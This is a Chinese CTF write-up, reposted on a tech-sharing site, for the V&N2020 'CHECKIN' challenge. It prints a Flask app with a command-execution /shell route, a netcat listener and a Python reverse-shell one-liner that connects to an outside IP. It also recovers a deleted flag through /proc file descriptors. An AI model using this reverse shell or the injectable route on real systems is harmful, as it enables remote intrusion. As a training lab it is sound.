[V&N2020 公开赛]CHECKIN

2020-05-16 12:01:19 阅读：542 来源： 互联网

标签：__ txt app flag shell 公开赛 N2020 os CHECKIN

F12查看格式化的源码

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

反弹shell

先在BUU上注册一个小号，然后开一台靶机，使用ssh登录

看一下靶机在内网的ip地址，注意，不能使用ssh登录的那个地址，那是公网地址，内网机器连不到

使用nc进行监听

nc -lvvp 9999

找一个反弹shell的脚本，注意，这里用python3，具体原因我也不清楚，参考https://www.cnblogs.com/20175211lyz/p/12397933.html

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.85.126',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

url编码后发送

进来了

怎么读flag呢？

注意到源码的这一句

flag_file = open("flag.txt", "r")

以及

@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

先打开flag.txt，然后每次我们执行命令之前都会删掉flag.txt，这里注意到，系统并没有关闭flag.txt就直接将其删除了

这里使用文件描述符，图片来自http://106.15.121.121/vn2020-%E5%85%AC%E5%BC%80%E8%B5%9Bcheckin/

cat  /proc/*/fd/*

标签：__,txt,app,flag,shell,公开赛,N2020,os,CHECKIN
来源： https://www.cnblogs.com/mech/p/12899781.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

[V&N2020 公开赛]CHECKIN